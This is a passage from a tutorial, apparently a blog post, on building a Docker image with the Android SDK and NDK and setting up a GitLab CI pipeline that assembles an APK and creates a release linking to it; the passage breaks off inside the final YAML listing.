<span id="cb5-9"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">echo</span> y <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">|</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">sdkmanager</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"platforms;android-</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">${ANDROID_COMPILE_SDK}</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span>/dev/null</span>
<span id="cb5-10"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">echo</span> y <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">|</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">sdkmanager</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"platform-tools"</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span>/dev/null</span>
<span id="cb5-11"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">echo</span> y <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">|</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">sdkmanager</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"build-tools;</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">${ANDROID_BUILD_TOOLS}</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span>/dev/null</span>
<span id="cb5-12"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">echo</span> y <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">|</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">sdkmanager</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"ndk;</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">${ANDROID_NDK}</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span>/dev/null</span></code></pre></div>
<p>Finally, create a project directory and set the working directory.</p>
<div class="sourceCode" id="cb6" style="background: #f1f3f5;"><pre class="sourceCode dockerfile code-with-copy"><code class="sourceCode dockerfile"><span id="cb6-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">cd</span> /home/<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">${ANDROID_USER}</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">&amp;&amp;</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">mkdir</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-p</span> Project</span>
<span id="cb6-2"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">WORKDIR</span> /home/${ANDROID_USER}/Project</span></code></pre></div>
<p>The <code>Dockerfile</code> is done! You can build an image with <code>docker image build -t my-android-image .</code>. Once the build finishes, you can run the image with <code>docker run -it -v $(pwd):/home/android/Project my-android-image /bin/bash</code>.</p>
<p>Don’t forget to upload the image to a registry to be able to use it on other machines, sush as a CI service.</p>
</section>
<section id="gitlab-ci-config" class="level1">
<h1>Gitlab ci config</h1>
<p>We want to build the image every time someone opens a merge request but we only want new releases when we merge into the main branch.</p>
<p>We have two stages, build and release.</p>
<div class="sourceCode" id="cb7" style="background: #f1f3f5;"><pre class="sourceCode yml code-with-copy"><code class="sourceCode yaml"><span id="cb7-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">stages</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb7-2"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">-</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> build</span></span>
<span id="cb7-3"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">-</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> release</span></span></code></pre></div>
<p>Our first stage, build, consits of only one job, assemble. Notice the <code>before_script</code> and <code>reports</code> sections. They’re important to keep if we want to create a release with a link to the built apk.</p>
<p>The <code>before_script</code> section runs before our actual build, the only purpose is to save the build number as that is used in the download URL in the release.</p>
<p>The <code>reports</code> section tells gitlab to keep the <code>assemble.env</code>-file arround for other jobs that request it.</p>
<div class="sourceCode" id="cb8" style="background: #f1f3f5;"><pre class="sourceCode yml code-with-copy"><code class="sourceCode yaml"><span id="cb8-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">assemble</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb8-2"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">stage</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> build</span></span>
<span id="cb8-3"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">image</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> my-android-image</span></span>
<span id="cb8-4"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">before_script</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb8-5"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">-</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> echo $CI_JOB_ID</span></span>
<span id="cb8-6"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">-</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> echo GE_JOB_ID=$CI_JOB_ID &gt;&gt; assemble.env</span></span>
<span id="cb8-7"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">script</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb8-8"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">-</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> ./gradlew assembleRelease</span></span>
<span id="cb8-9"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">artifacts</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb8-10"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">paths</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb8-11"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">      </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">-</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> app/build/outputs/apk/release</span></span>
<span id="cb8-12"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">reports</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb8-13"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">      </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">dotenv</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> assemble.env</span></span></code></pre></div>
<p>Creating a new Gitlab release is pretty easy, gitlab conveniently provides a tool for just this. Notice the use of <code>${GE_JOB_ID}</code> in the asset link, also make sure to change <code>my-group-placeholder/my-project-placeholder</code> to your actual group and project slugs.</p>
<div class="sourceCode" id="cb9" style="background: #f1f3f5;"><pre class="sourceCode yml code-with-copy"><code class="sourceCode yaml"><span id="cb9-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">release</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb9-2"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">stage</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> release</span></span>
<span id="cb9-3"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">image</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> registry.gitlab.com/gitlab-org/release-cli:latest</span></span>
<span id="cb9-4"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">script</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb9-5"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">    # This is the variable we saved in the 'before_script' section in the assemble job</span></span>
<span id="cb9-6"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">-</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> echo "Running release for job"</span></span>
<span id="cb9-7"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">-</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> echo $GE_JOB_ID</span></span>
<span id="cb9-8"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">  # We 'need' the assemble job, otherwise we wouldn't have anything to release.</span></span>
<span id="cb9-9"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">needs</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb9-10"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">-</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">job</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> assemble</span></span>
<span id="cb9-11"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">      </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">artifacts</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> </span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">true</span></span>
<span id="cb9-12"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">release</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb9-13"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">name</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> Release $CI_COMMIT_SHORT_SHA</span></span>
<span id="cb9-14"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">description</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> Create release $CI_COMMIT_SHORT_SHA using the release-cli</span></span>
<span id="cb9-15"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">tag_name</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> $CI_COMMIT_SHORT_SHA</span></span>
<span id="cb9-16"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">assets</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb9-17"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">      </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">links</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb9-18"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">        </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">-</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">name</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> </span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"app-release.apk"</span></span>
<span id="cb9-19"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">          </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">url</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> </span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"https://gitlab.com/my-group-placeholder/my-project-placeholder/-/jobs/${GE_JOB_ID}/artifacts/raw/app/build/outputs/apk/release/app-release.apk"</span></span>
<span id="cb9-20"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">  # Only run this job on the main branch</span></span>
<span id="cb9-21"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">only</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb9-22"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">-</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> main</span></span></code></pre></div>
</section>
<section id="were-done" class="level1">
<h1>We’re done!</h1>
<p>Here’s our <code>Dockerfile</code></p>
<div class="sourceCode" id="cb10" style="background: #f1f3f5;"><pre class="sourceCode dockerfile code-with-copy"><code class="sourceCode dockerfile"><span id="cb10-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">FROM</span> openjdk:11-jdk</span>
<span id="cb10-2"></span>
<span id="cb10-3"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">ARG</span> ANDROID_COMPILE_SDK=32</span>
<span id="cb10-4"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">ARG</span> ANDROID_BUILD_TOOLS=32.0.0</span>
<span id="cb10-5"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">ARG</span> ANDROID_CMDLINE_TOOLS=8092744</span>
<span id="cb10-6"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">ARG</span> ANDROID_NDK=24.0.8215888</span>
<span id="cb10-7"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">ARG</span> ANDROID_USER=android</span>
<span id="cb10-8"></span>
<span id="cb10-9"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># System</span></span>
<span id="cb10-10"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">apt</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--quiet</span> update <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--yes</span></span>
<span id="cb10-11"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">apt</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--quiet</span> upgrade <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--yes</span></span>
<span id="cb10-12"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">apt</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--quiet</span> install <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--yes</span> wget tar unzip lib32stdc++6 lib32z1 sudo</span>
<span id="cb10-13"></span>
<span id="cb10-14"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">mkdir</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-p</span> /etc/sudoers.d</span>
<span id="cb10-15"></span>
<span id="cb10-16"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Add user</span></span>
<span id="cb10-17"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">groupadd</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--gid</span> 1000 <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">${ANDROID_USER}</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb10-18">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">&amp;&amp;</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">useradd</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--uid</span> 1000 <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--gid</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">${ANDROID_USER}</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--shell</span> /bin/bash <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--create-home</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">${ANDROID_USER}</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb10-19">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">&amp;&amp;</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">echo</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'${ANDROID_USER} ALL=NOPASSWD: ALL'</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&gt;</span> /etc/sudoers.d/50-<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">${ANDROID_USER}</span></span>
<span id="cb10-20"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">USER</span> ${ANDROID_USER}</span>
<span id="cb10-21"></span>
<span id="cb10-22"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Env</span></span>
<span id="cb10-23"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">ENV</span> ANDROID_HOME=/home/${ANDROID_USER}/Android/Sdk</span>
<span id="cb10-24"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">ENV</span> PATH=/home/${ANDROID_USER}/Android/Sdk/cmdline-tools/latest/bin:${PATH}</span>
<span id="cb10-25"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">ENV</span> PATH=/home/${ANDROID_USER}/Android/Sdk/platform-tools:${PATH}</span>
<span id="cb10-26"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">ENV</span> PATH=/home/${ANDROID_USER}/Android/Sdk/ndk/${ANDROID_NDK}/toolchains/llvm/prebuilt/linux-x86_64/bin:${PATH}</span>
<span id="cb10-27"></span>
<span id="cb10-28"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Android tools</span></span>
<span id="cb10-29"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">cd</span> /home/<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">${ANDROID_USER}</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">&amp;&amp;</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">mkdir</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-p</span> Android/Sdk/cmdline-tools</span>
<span id="cb10-30"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">WORKDIR</span> /home/${ANDROID_USER}/Android</span>
<span id="cb10-31"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">wget</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--quiet</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--output-document</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>android-sdk.zip https://dl.google.com/android/repository/commandlinetools-linux-<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">${ANDROID_CMDLINE_TOOLS}</span>_latest.zip</span>
<span id="cb10-32"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">unzip</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-d</span> Sdk/cmdline-tools android-sdk.zip</span>
<span id="cb10-33"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">mv</span> Sdk/cmdline-tools/cmdline-tools Sdk/cmdline-tools/latest</span>
<span id="cb10-34"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">rm</span> android-sdk.zip</span>
<span id="cb10-35"></span>
<span id="cb10-36"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Install SDK parts</span></span>
<span id="cb10-37"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">echo</span> y <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">|</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">sdkmanager</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"platforms;android-</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">${ANDROID_COMPILE_SDK}</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span>/dev/null</span>
<span id="cb10-38"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">echo</span> y <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">|</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">sdkmanager</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"platform-tools"</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span>/dev/null</span>
<span id="cb10-39"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">echo</span> y <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">|</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">sdkmanager</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"build-tools;</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">${ANDROID_BUILD_TOOLS}</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span>/dev/null</span>
<span id="cb10-40"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">echo</span> y <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">|</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">sdkmanager</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"ndk;</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">${ANDROID_NDK}</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span>/dev/null</span>
<span id="cb10-41"></span>
<span id="cb10-42"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Workdir</span></span>
<span id="cb10-43"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">cd</span> /home/<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">${ANDROID_USER}</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">&amp;&amp;</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">mkdir</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-p</span> Project</span>
<span id="cb10-44"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">WORKDIR</span> /home/${ANDROID_USER}/Project</span></code></pre></div>
<p>and here’s our <code>.gitlab-ci.yml</code></p>
<div class="sourceCode" id="cb11" style="background: #f1f3f5;"><pre class="sourceCode yml code-with-copy"><code class="sourceCode yaml"><span id="cb11-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">stages</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb11-2"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">-</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> build</span></span>
<span id="cb11-3"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">-</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> release</span></span>
<span id="cb11-4"></span>
<span id="cb11-5"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">assemble</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb11-6"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">stage</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> build</span></span>
<span id="cb11-7"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">image</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
